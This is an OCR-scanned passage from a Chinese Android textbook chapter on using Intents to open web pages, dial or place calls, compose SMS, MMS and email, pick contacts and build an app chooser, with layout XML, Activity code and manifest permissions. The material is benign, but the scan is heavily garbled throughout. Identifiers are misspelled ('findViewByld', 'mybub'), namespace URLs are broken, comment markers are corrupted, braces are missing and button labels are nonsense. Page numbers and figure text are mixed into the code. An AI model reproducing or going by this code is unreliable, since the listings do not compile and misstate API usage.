37 |public Intent putExtras (Intent src) 普 和 复制 已 有 Intent 的 附加 信息 
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续 表 

描述 
删除 一 个 指定 的 Category 数 
据 信息 
删除 一 个 指定 的 附加 信息 
设置 一 个 要 跳 转 的 Activity 
设置 一 个 目标 组 件 
设置 一 个 操作 的 Uri 数据 
设置 一 个 数据 并 指定 MIME 
类 型 
设置 一 个 标记 
设置 数据 MIME 类 型 
设置 操作 的 名 称 


创建 Intent 操作 的 选择 器 


No. 方法 


38 |public void removeCategory(String category) 


39 |public void removeExtra(String name 

40 |public Intent setClass(Context packageContext, Class<?> cls) 
41 |public Intent setComponent(ComponentName component) 
42 |public Intent setData(Uri data) 


43 |public Intent setDataAndType(Uri data, String type) 


44 |public Intent setFlags(int flags) 

45 |public Intent setType(String type) 

46 |public Intent setAction(String action) 

public static Intent createChooser (Intent target, CharSequence 
title) 


使 用 Intent 除了 可 以 向 自 定义 的 Activity 进行 跳 转 之 外 ， 也 可 以 跳 转 到 由 Android 提供 的 一 
些 标准 的 Activity 程序 ， 下 面 通过 一 些 实际 代码 进行 说 明 。 


9.2.1 打开 网 页 


在 Android 系统 中 已 经 为 用 户 默认 集成 了 一 个 浏览 器 , 如 果 用 户 希 望 Android 程序 运行 时 可 
以 打开 一 个 网 页 ， 可 以 设置 如 下 数据 : 
Uri uri = Uri.parse("http://www.mldn.cn") ; 
此 处 表示 要 打开 www.mldn.cn 站 点 , 而 此 时 由 于 没有 特殊 的 要 求 , 所 以 可 以 将 操作 的 Action 
设置 为 ntentACTION VIEW 类 型 。 
【 例 9-11】 定义 字符 串 资源 文件 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string name="app_name">Intent 应 用 </string> 
<string name="open_name'> 标 准 Action 操作 </string> 
</resources> 
【 例 9-12】 定义 布局 管理 器 资源 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


strings.xml 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button // 定 义 操作 按钮 
android:id="@+id/mybut” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" 1/ 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” /1/ 组 件 高 度 为 文字 高 度 
android:text=" 轨 开 度 页 /> // 默 认 显示 文字 
</LinearLayout> 
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【 例 9-13】 定义 Activity 程序 ， 操 作 Intent 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Intent'; 
import android.net.Uri; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
public class MylntentCaseDemo extends Activity { 
private Button mybut = null ; /按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybub ; ”// 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl());// 定 义 单 击 事件 


} 
private class OncClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Uri uri = Uri.parse("http:/www.mldn.cn") ; // 指 定数 据 
Intent it = new Intent() ; // 实 例 化 Intent 
it.setAction(Intent.ACTION_VIEW); // 指 定 Action 
it.setData(uri) ; // 设 置 数据 
MylIntentCaseDemo.this .startActivity(it); /启动 Activity 
} 
i 


} 

由 于 本 程序 要 打开 的 是 由 系统 所 提供 的 标准 Intent， 所 以 在 按钮 单 击 事件 中 ， 首 先 通过 Uri 
取得 了 要 操作 的 数据 ， 随 后 设置 了 Action 的 类 型 为 ACTION_VIEW， 打 开 程 序 之 后 ， 通 过 按钮 
就 可 以 直接 访问 www.mldn.cn 站 点 ， 程 序 的 运行 效果 如 图 9-8 所 示 。 
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图 9-8 显示 网 页 的 Intent 
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9.2.2 ”调用 拨号 程序 


拨打 电话 在 Android 系统 中 也 可 以 直接 通过 程序 的 调用 完成 , 如 要 进行 拨号 程序 的 调用 , 则 
可 以 使 用 如 下 两 种 Action 类 型 。 

ACTION_DIAL: 调用 拨号 程序 ， 用 户 可 以 手工 拨 出 电话 。 

ACTION_CALL: 直接 拨 出 电话 。 

如 果 需 要 拨号 ， 也 可 以 通过 如 下 代码 指定 要 操作 的 数据 : 

Uri uri = Uri.parse("tel:-01051283346") ; 

此 处 表示 要 拨打 出 的 电话 为 01051283346, 但 是 如 果 一 个 程序 要 想 真正 地 在 Android 手机 上 
使 用 ， 则 还 需要 在 AndroidManifest.xml 文件 中 增加 如 下 配置 : 

<Uses-permission android:name="android.permission.CALL_PHONE"/> 

这 样 在 选择 拨号 的 Intent 时 才 可 以 将 电话 顺利 地 找 出 。 下 面 通过 一 个 代码 模拟 一 个 拨打 电 i 
的 应 用 程序 ， 用 户 将 通过 文本 框 输入 要 拨打 的 电话 号 码 ， 之 后 通过 指定 的 Intent 完成 操作 。 

【 例 9-14】 定义 布局 文件 一 一 main.xml 

<?xml version= "1.0" encoding="utf-8"?> 


束 


<LinearLayout 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<EditText /文本 输入 组 件 ， 用 于 输入 电话 号 码 
android:id="@+id/te/” 1/ 组件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button /定义 按钮 组 件 
android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 的 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 的 高 度 为 文字 高 度 
android:text=" 规 节 和 也 地 /> // 默 认 显 示 文 字 
</LinearLayout> 


本 布局 管理 器 中 定义 了 一 个 文本 输入 组 件 ， 用 于 让 用 户 输入 电话 号 码 ， 而 后 通过 按钮 事件 
调用 指定 的 Intent， 以 完成 电话 拨打 功能 。 
【 例 9-15】 定义 Activity 程序 ， 调 用 拨号 操作 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content. Intent; 
import android.net.Uri; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget.EditText; 
public class MylntentCaseDemo extends Activity { 
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private Button mybut = null ; /按钮 组 件 
private EditText tel = null ; /文本 输入 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /默认 布局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; /取得 组 件 
this.tel = (EditText) super findViewByld(R.id.te)) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()); 。 // 定 义 单 击 事件 
由 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
String telStr = MyIntentCaseDemo.this tel.getText().toString() ; 
Uri uri = Uri.parse("tel:" + telStr) ; // 指 定数 据 
Intent it = new Intent() ; /实例 化 Intent 
it.setAction(Intent.ACTION_DIAL); /指定 Action 
it.setData(uri) ; /设置 数据 
MylntentCaseDemo.this.startActivity(it); // 启 动 Activity 
} 
} 


本 程序 由 于 要 定义 拨号 的 操作 ， 所 以 设置 的 数据 直接 为 要 拨打 的 电话 号 码 ， 为 了 显示 给 读 
者 拨号 的 主 界面 ， 所 以 将 Action 的 类 型 设置 为 ACTION_DIAL， 但 是 此 时 的 程序 还 需要 修改 
AndroidManifest.xml 文件 才 可 以 正常 使 用 。 

【 例 9-16】 在 AndroidManifest.xml 文件 中 增加 配置 

<?xml version="1.0" encoding="utf-8"?> 

<manifest xmIns:android="http://schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 所 在 包 名 称 
android:versionCode="1" // 程 序 的 版 本 编号 
android:versionName="1.0"> // 程 序 版 本 名 称 
<uses-sdk android:minSdkVersion="10"/> // 程 序 运行 的 最 低 SDK 等 级 
<application 
android:icon="@drawable/icon" android:label="@string/app_name"> 
<activity /| 定义 Activity 程序 


android:name="MyintentCaseDemo"” ”// 程 序 类 名 称 
android:label="@string/app_name"> // 显 示 标题 
<intent-filter> // 作 为 主 程序 执行 

<action android:name="android.intent.action.MAIN" /> 

<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 
</application> 
<uses-permission // 配 置 拨打 电话 的 权限 
android:name="android.permission.CALL_PHONE"/> 
</manifest> 


此 时 ， 在 配置 文件 中 增加 了 一 个 <uses-permission> 节 点 ， 表 示 电 话 允 许 拨 出 ， 而 程序 的 运行 
效果 如 图 9-9~ 图 9-11 所 示 。 


356 


第 9 章 Android 组 件 通信 


01051283346 


@@# 半 % ugly 
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中 符 | 1123| 


图 9-10 调用 拨号 图 9-11 正在 拨 出 电话 


提问 : 为 什么 不 是 直接 拨打 出 电话 ? 

在 程序 运行 时 ,并 不 是 直接 将 电话 打出 ,而 是 先进 入 到 如 图 9-10 所 示 的 界面 ( 拨号 界面 )， 
而 后 再 通过 系统 的 拨号 程序 发 出 拨打 操作 ， 那 么 能 否 当 运行 到 图 9-9 所 示 界 面 时 ， 单 击 按钮 
直接 拨 出 电话 ， 而 不 经 过 系统 的 拨号 程序 再 次 调用 呢 ? 

回答 : 修改 操作 的 Action 即 可 。 

如 果 要 想 让 电话 直接 拨 出 ， 则 只 需要 将 操作 Intent 的 Action 修改 为 ACTION CALL 即 
可 ， 代 码 如 下 : 

it.setAction(Intent.ACTION_CALL); // 指 定 Action 

这 样 用 户 在 运行 程序 时 ， 只 会 出 现 图 9-9 和 图 9-11 所 示 的 界面 ， 中 间 不 会 再 调用 系统 的 
拨号 操作 。 


9.2.3 调用 发 送 短信 程序 


在 Android 系统 中 ， 也 提供 了 进行 短信 发 送 的 Intent 调用 ， 如 果 要 想 在 Android 中 调用 发 送 
短信 的 Action 程序 ， 则 需要 按照 以 下 步骤 进行 。 
(1) 指定 要 接收 短信 的 手机 号 码 ， 如 果 不 指 定 ， 则 在 短信 接收 人 处 将 不 会 显示 号 码 ， 用 户 
要 自己 填写 : 
Uri uri = Uri.parse("smsto:13621384455"); 
(2) 可 以 直接 通过 附加 信息 设置 短信 的 内 容 ， 而 此 时 附加 信息 的 名 称 为 系统 定义 好 的 
sms_body: 
it.putExtra("sms_body", "北京 魔 乐 科技 软件 学 院 "); 
(3) 如 果 要 发 送 短 信 ， 则 应 该 设置 MIME 类 型 ， 以 下 为 普通 短信 的 MIME 类 型 设置 : 
i.setType("vnd.android-dirmms-sms ); 
所 设置 的 Action 类 型 为 ACTION_SENDTO。 
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【 例 9-17】 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


定义 布局 管理 器 一 一 main xml 


// 线 性 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android”" 


android:id="@+id/MyLayout" 
android:orientation="Vertical” 
android:layout_width="fill_ parent" 
android:layout_height="fill_parent"> 
<TableLayout 


// 布 局 管理 器 ID， 程 序 中 使 用 
/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
// 内 说 表格 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android”" 


android:id="@+id/TableLayout01" 
android:layout_width="fil|_parent”" 
android:layout_height= "wrap_content> 
<TableRow> 
<TextView 
android:text=" 做 信人 : " 
android:layout_width="90px” 
android:layout_height="wrap_content” 
android:textSize="20px"/> 
<EditText 
android:id="@+id/tel" 
android:numeric="integer” 


android:layout_width="260px" 
android:layout_height="wrap_content"/> 
</TableRow> 
<View 


android:layout_height= "2px” 
android:background="#FF909090" /> 
<TableRow> 
<TextView 
android:text=" 矶 个 : " 
android:textSize="20px" 
android:layout_width="90px”" 
android:layout_height="wrap_content"/> 
<EditText 
android:id="@+id/content”" 
android:lines="6" 
android:gravity= "top” 
android:layout_width="260px” 
android:layout_height="wrap_content"/> 
</TableRow> 
<View 
android:layout_height= "2px” 
android:background="#FF909090" /> 
</TableLayout> 
<Button 
android:id="@+id/mybut" 
android:layout_width="fill_parent” 


// 布 局 管理 器 ID， 程 序 中 使 用 
// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 内 部 组 件 高 度 
// 定 义 表格 行 

// 文 本 显示 组 件 

// 默 认 显示 文字 

// 组 件 宽度 为 90 像素 

// 组 件 高 度 为 文字 高 度 

// 组 件 文字 大 小 为 20 像素 
// 文 本 编辑 组 件 

// 组 件 ID， 程 序 中 使 用 

// 此 组 件 只 能 输入 数字 

// 组 件 宽度 为 260 像素 

// 组 件 高 度 为 文字 高 度 
/表格 行 完结 
/定义 分 割 线 

// 组 件 高 度 为 2 像素 
/设置 背景 颜色 

/定义 表格 行 

/文本 显示 组 件 

// 默 认 显示 文字 

// 组 件 文字 大 小 为 20 像素 
// 组 件 宽度 为 90 像素 

// 组 件 高 度 为 文字 高 度 

// 文 本 编辑 组 件 

// 组 件 ID， 程 序 中 使 用 

// 组 件 默 认 显示 6 行 高 度 
/所 有 内 容 项 部 对 齐 

// 组 件 宽度 为 260 像素 

// 组 件 高 度 为 自身 高 度 
/表格 行 完结 

// 定 义 分 割 线 

/组 件 ID 为 2 像素 

// 默 认 显示 文字 

// 内 赃 表 格 布局 管理 器 完结 
// 按 钮 组 件 

/| 组件 ID， 程序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 
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android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text" 疼 央 短 储 )> // 默 认 显示 文字 
</LinearLayout> 


在 本 布局 程序 中 ， 定 义 了 一 个 内 嵌 表 格 布局 管理 器 ， 用 于 用 户 输入 收 信人 的 电话 号 码 以 及 

短信 内 容 。 
【 例 9-18】 定义 Activity 程序 ， 调 用 Action 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content. Intent; 

import android.net.Uri; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

import android.widget.EditText; 

public class MylntentCaseDemo extends Activity { 


private Button mybut = null ; /按钮 组 件 
private EditText tel = null ; /文本 输入 
private EditText content = null ; /文本 输入 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; // 取 得 组 件 
this.tel = (EditText) super.findViewByld(R.id.te/) ; // 取 得 组 件 


this.content = (EditText) super.findViewByld(R.id.content) ; ”// 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()); /定义 单 击 事件 


} 
private class OncClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
String telStr = MylntentCaseDemo.this..tel.getText().toString(); // 接 收入 电话 
String note = MyIntentCaseDemo.this.content.getText().toString();，// 短 信 内 容 
Uri uri = Uri.parse("smsto:" + telStr) ; /接收 和 手机 
Intent it = new Intent() ; /实例 化 Intent 
it.setAction(Intent.ACTION_SENDTO); /指定 Action 
it.putExtra("sms_body", note); // 设 置信 息 内 容 
it.setType("vnd.android-dir/mms-sms"); /1/ 设 置 MIME 类 型 
it.setData(uri) ; // 设 置 数据 
MyintentCaseDemo.this.startActivity(it); /启动 Activity 
} 
} 


} 

本 程序 与 之 前 的 程序 相 比 增加 了 一 个 MIME 类 型 的 设置 以 及 一 个 附加 信息 (sms_body) 的 
设置 ， 如 果 不 设置 此 附加 信息 而 调用 发 送 短 信 的 Action"， 则 短信 的 内 容 将 为 空 ， 程序 的 运行 效 
果 如 图 9-12 所 示 ， 而 程序 运行 后 会 默认 调用 短信 发 送 的 Activity 程序 ， 此 程序 的 运行 效果 如 
图 9-13 所 示 ， 短 信 发 送 之 后 的 界面 如 图 9-14 所 示 。 
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图 9-12 编写 界面 图 9-13 调用 短信 程序 图 9-14 短信 发 送 


FF 


示 
本 程序 只 是 调用 发 送 短信 程序 ， 并 不 是 真正 地 直接 发 送 。 
在 本 程序 运行 中 可 以 发 现 ， 当 跳 转 到 指定 的 Action 之 后 ,实际 上 并 不 是 直接 进行 短信 的 
发 送 操作 ， 而 是 先进 入 到 一 个 短信 发 送 的 程序 中 ， 最 后 利用 系统 提供 的 程序 发 送出 去 ， 而 如 
果 用 户 要 想 直接 调用 短信 的 发 送 操作 ， 则 需要 学 习 以 后 的 Service 组 件 ， 此 组 件 的 内 容 将 在 
本 章 的 后 续 内 容 中 为 读者 讲解 。 


9.2.4 调用 发 送 带 图 片 的 彩信 程序 


之 前 已 经 进行 了 发 送 普通 文本 短信 的 操作 , 下 面 再 来 看 一 下 如 何在 Android 中 进行 彩信 的 发 
送 。 如 果 现 在 要 进行 带 图 片 的 彩信 发 送 ， 则 需要 按照 如 下 几 个 步骤 进行 。 
(1) 调用 发 送 短信 的 Action: 
it.setAction(Intent.ACTION_SEND); 
(2) 指定 要 发 送 的 图 片 ， 直 接 从 sdcard 上 指定 : 
Uri uri = Uri.parse("file:///sdcard/mypic.jpg"); 
(3) 设置 要 发 送 的 信息 内 容 : 
it.putExtra("sms_body", "北京 魔 乐 科技 软件 学 院 "); 
(4) 指定 要 发 送 的 彩信 中 的 图 片 : 
it.putExtra(Intent.EXTRA_STREAM, uri); 
(5) 设置 信息 接收 者 的 电话 号 码 : 
it.putExtra(Intent.EXTRA_BCC, "13621384455"); 
(6) 指定 发 送信 息 的 MIME 类 型 : 
it.setType("image/png"); 
与 之 前 发 送 普通 短信 的 程序 相 比 , 在 发 送 彩信 时 专门 指定 了 Intent.EXTRA_STREAM 附加 
信息 ， 表 示 要 将 发 送 的 图 片 数据 传送 到 接收 的 Action 中 ,下 面 通过 程序 实现 发 送 彩信 的 操作 。 


360 


第 9 章 Android 组 件 通信 


ey 
天 提示 
关于 设置 sdcard 的 操作 。 
本 程序 要 使 用 sdcard 上 所 保存 的 图 片 信息 。 


【 例 9-19】 定义 布局 管理 器 一 一 open_main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="vertca/” // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button // 定 义 按 钮 组 件 

android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 

android:text= "区 类 彩信 /> // 黑 认 显示 信息 
</LinearLayout> 


【 例 9-20】 定义 Activity 程序 ， 调 用 发 送 彩 信 的 Action 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.Intent; 

import android.net.Uri; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 

import android.widget.Button; 

public class MylntentCaseDemo extends Activity { 
private Button mybut = null ; /按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybut) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()); 。 // 定 义 单 击 事件 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Uri uri = Uri.parse("file:///sdcard/mypic.jpg"); /lsdcard 的 图 片 
Intent it = new Intent() ; /实例 化 Intent 
it.setAction(Intent.ACTION_SEND); /指定 Action 
it.putExtra("address", "13683527621"); /接收 入 
it.putExtra("sms_body", "北京 魔 乐 科技 软件 学 院 "); /设置 信息 内 容 
it.putExtra(Intent.EXTRA_STREAM, uri); // 设 置 图 片 
it.setType("image/png"); /设置 MIME 类 型 
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MylIntentCaseDemo.this .startActivity(it); /启动 Activity 


} 
} 
本 程序 首先 利用 Uri 设置 了 一 张 在 sdcard 上 所 保存 的 图 片 ， 之 后 利用 Intent EXTRA _STREAM 
将 图 片 的 信息 发 送 到 ACTION_SEND 程序 中 ， 程 序 的 运行 效果 如 图 9-15 所 示 。 


革 明 协 10:39 


对 明 协 10:38 


ET EE E6035276213 


李兴华 <13683527621> 


习 本 机 号 码 : 北京 麻 乐 科技 软件 学 
院 www.mldn.cn) 


发 送 时 间 - 上 午 10:08 


坦 看 
| 昔 换 
魔 乐 科技 魔 乐 科技 二 
3G/ 训 入 式 学 院 3G/ 嵌 入 式 学 院 
(a) 新 会 话 (b) 已 有 会 话 


图 9-15 发 送 彩 信 
.提示 
根据 会 话 是 否 存 在 显示 。 
在 Android 手机 中 ， 所 有 的 短信 都 是 按照 用 户 名 称 (或 电话 号 码 ) 保存 的 ， 即 给 一 个 用 
户 发 送 短信 或 者 从 一 个 用 户 接收 短信 都 会 在 一 个 会 话 空间 内 显示 ， 如 果 未 与 用 户 建立 会 话 ， 
则 显示 的 效果 如 图 9-15 (a) 所 示 ， 而 已 经 建立 了 会 话 ， 则 显示 效果 如 图 9-15 (b) 所 示 。 


9.2.5 发 送 Email 


Email 在 实际 生活 中 应 用 广泛 ， 而 在 Android 中 也 可 以 进行 Email 的 发 送 ， 但 需要 注意 的 是 ， 
如 果 要 想 进 行 Email 的 发 送 ， 则 必须 在 手机 上 运行 ， 而 且 要 有 一 个 gmail 邮箱 程序 才 可 以 使 用 。 
【 例 9-21】 定义 布局 管理 器 显示 按钮 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="Vertica/" // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= '"W/_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button // 定 义 按钮 组 件 

android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 
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android:layout_width="wrap_content” 
android:layout_height="wrap_content” 


android:text=" 竹 雍 亡 他 "|> 


</LinearLayout> 
【 例 9-22】 定义 Activity 程序 ， 发 送 普 通 文 本 邮件 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content. Intent; 
import android.os.Bundle; 
import android.view.View; 


import android.view.View.OnClickListener; 


import android.widget.Button; 


public class MylntentCaseDemo extends Activity { 


} 


private Button mybut = null ; 
@Override 


// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
// 软 认 显示 信息 


/按钮 组 件 


public void onCreate(Bundle savedInstanceState) { 


super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 

this.mybut = (Button) super.findViewByld(R.id.mybut) ; 
this.mybut.setOnClickListener(new OnClickListenerImpl()); 


} 


// 默 认 布 局 管理 器 
// 取 得 组 件 
// 定 义 单 击 事件 


private class OnClickListenerImpl implements OnClickListener { 


@Override 


public void onClick(View view) { 


Intent emaillntent = new Intent(Intent.ACTION_SEND) ; /实例 化 Intent 


emaillntent.setType("plain/text") ; 

String address[] = new String[]{"mldnqa@163.com"} ; 
String subject = "北京 魔 乐 科技 软件 学 院 (MLDN)" ; 
String content = "www.mldnjava.cn" ; 
emaillntent.putExtra(Intent.EXTRA_EMAIL, address) ; 


/设置 类 型 

// 收 件 人 的 地 址 
/| 邮件 主题 

/| 邮件 内 容 

1/ 设置 收 件 人 


emailintent.putExtra(Intent.EXTRA_SUBJECT, subject) ; /设置 主题 


emaillntent.putExtra(lntent.EXTRA_TEXT, content) ; 
MylntentCaseDemo.this.startActivity(emaillntent); 


} 


在 本 程序 中 的 关键 部 分 就 在 于 设置 
所 有 的 Intent 附加 内 容 上 , 本 程序 定义 了 
3 个 附加 内 容 。 


回 


IntentEXTRA_EMAIL: 收 件 人 
地 址 。 
IntentEXTRA_SUBJECT: 邮件 
标题 。 
IntentEXTRA_TEXT: 邮件 内 容 。 


而 且 由 于 此 时 使 用 的 是 文本 邮件 ， 
所 以 设置 的 类 型 为 plain/text， 本 程序 在 
真 机 上 的 运行 效果 如 图 9-16 所 示 。 


// 设 置 内 容 
/执行 Intent 


EE 国 | 
发 件 人 xoox@gmail.com 


<mldnqa@163.com>, 


北京 原 乐 科技 软件 学 院 ( MLDN ) | 


www.mldnjava.cn 


图 9-16 在 真 机 上 执行 发 送 邮 件 程序 界面 
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9.2.6 调用 ContentProvider 


第 8 章 曾经 讲解 过 通过 调用 系统 的 ContentProvider 实现 联系 人 的 列表 功能 ， 实 际 上 这 样 的 
功能 也 可 以 利用 Intent 的 调用 实现 ,在 编写 Uri 时 ,只 需要 将 URI 的 地 址 定义 为 content://contacts/ 
people, 而 后 直接 利用 Activity 类 中 的 managedQuery0 方 法 (或 者 使 用 super.getContentResolver(). 
query() 方 法 查询 ) 取得 指定 用 户 ID 的 全 部 手机 数据 ， 下 面 通过 一 段 代码 进行 说 明 。 

【 例 9-23】 使 用 Intent 完成 ContentProvider 的 调用 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.ContentUris; 

import android.content. Intent; 

import android.database.Cursor; 

import android.net.Uri; 

import android.os.Bundle; 

import android.provider.ContactsContract; 

import android.widget. Toast; 

public class MylntentContentDemo extends Activity { 

private static final int PICK_CONTACT_SUBACTIVITY = 1; /定义 操作 标记 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


Uri uri = Uri.parse("content://contacts/people"); // 连 接 Uri 
Intent intent = new Intent(Intent.ACT/ION_PICK, uri); /指定 Intent 
super.startActivityForResult(intent, PICK_CONTACT_SUBACTIVITY);// 调 用 Intent 
@Override 
protected void onActivityResult(int requestCode, int resultCode, Intent data) { 
Switch (requestCode) { 
case PICK_CONTACT_SUBACTIVITY: /接收 返回 的 数据 
Uri ret = data.getData(); /单个 数据 Uri 
String phoneSelection = ContactsContract.CommonDataKinds.Phone.CONTACT_ID 
pe /设置 查询 条 件 
String[] phoneSelectionArgs = { String.value Of ContentUris 
.parseld(ret)) }; /查询 参数 


Cursor c= super.managedQuery( 
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, 
phoneSelection, phoneSelectionArgs, null); 。 // 查 询 全 部 手机 号 码 

StringBuffer buf = new StringBuffer() ; // 用 于 接收 全 部 电话 

buf.append(" 电 话 号 码 是 :") ; 

for (c.moveToFirst(); Ic.isAfterLast(); c.moveToNext()) { /循环 取 数 据 

buf.append(c.getString(c.getColumnlndex( 
ContactsContract.CommonDataKinds.Phone.NUMBER))) 
.append("、"); // 取 出 电话 号 码 
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Toast.make Text(this, buf ToastLENGTH_LONG).show(); /显示 信息 


1 
} 
此 时 ， 由 于 程序 中 要 读 取 联 系 人 的 资源 ， 所 以 必须 为 其 分 配 相应 的 权限 ,修改 AndroidManifest. 
xml 文件 增加 权限 。 
【 例 9-24】 配置 访问 联系 人 的 权限 
<uses-permission android:name="android.permission.READ_CONTACTS"/> 
本 程序 的 使 用 与 第 8 章 的 程序 思路 是 一 样 | 
的 ， 唯 一 不 同 的 是 ， 现 在 是 利用 Intent 直接 传递 有 
到 联系 人 显示 的 通讯 录 中 ， 所 以 本 程序 中 不 再 需 


要 编写 任何 显示 联系 人 列表 信息 的 界面 ， 而 所 有 李兴华 
的 显示 格式 也 是 由 被 调用 的 Intent 本 身 所 提供 
的 ， 当 用 户 选择 一 个 联系 人 之 后 ， 会 将 此 用 户 信 董 鸣 楠 
息 的 Uri 返回 ， 而 后 在 Activity 程序 中 进行 查询 


所 有 手机 信息 的 操作 ， 本 程序 运行 后 ， 联 系 人 信 ER 
息 如 图 9-17 所 示 。 


图 9-17 显示 联系 人 


9.2.7 创建 操作 Intent 的 选择 器 


在 Intent 类 中 有 一 个 createChooser() 方 法 ， 该 方法 的 定义 如 下 : 

public static Intent createChooser(Intent target, CharSequence title) 

此 方法 的 功能 是 在 Intent 执行 时 将 本 
程序 加 入 到 用 户 可 以 选择 的 “打开 方式 ” 
列表 对 话 框 中 。 使 用 过 Android 手机 的 用 
户 应 该 都 见 过 如 图 9-18 所 示 的 界面 。 如 果 选择 图 片 浏览 


现在 希望 将 自己 开发 的 程序 加 入 到 该 选择 加 Intent& 用 
器 中 ， 就 需要 使 用 createChooser() 方 法 完 回 as 
成 ， 该 方法 会 自动 创建 一 个 Intent， 其 


Action 的 名 称 为 ACTION_CHOOSER, 这 
样 就 可 以 出 现 如 图 9-18 所 示 的 列表 选择 
器 了 。 
【 例 9-25】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


图 9-18 文件 运行 选择 器 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlns:android= "http:Vschemas.android.comyapkresanadroid” 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageButton /图 片 按钮 

android:id="@+id/mybut” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
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android:src="@drawable/mldn_ad_small"/> // 默 认 显示 图 片 
</LinearLayout> 
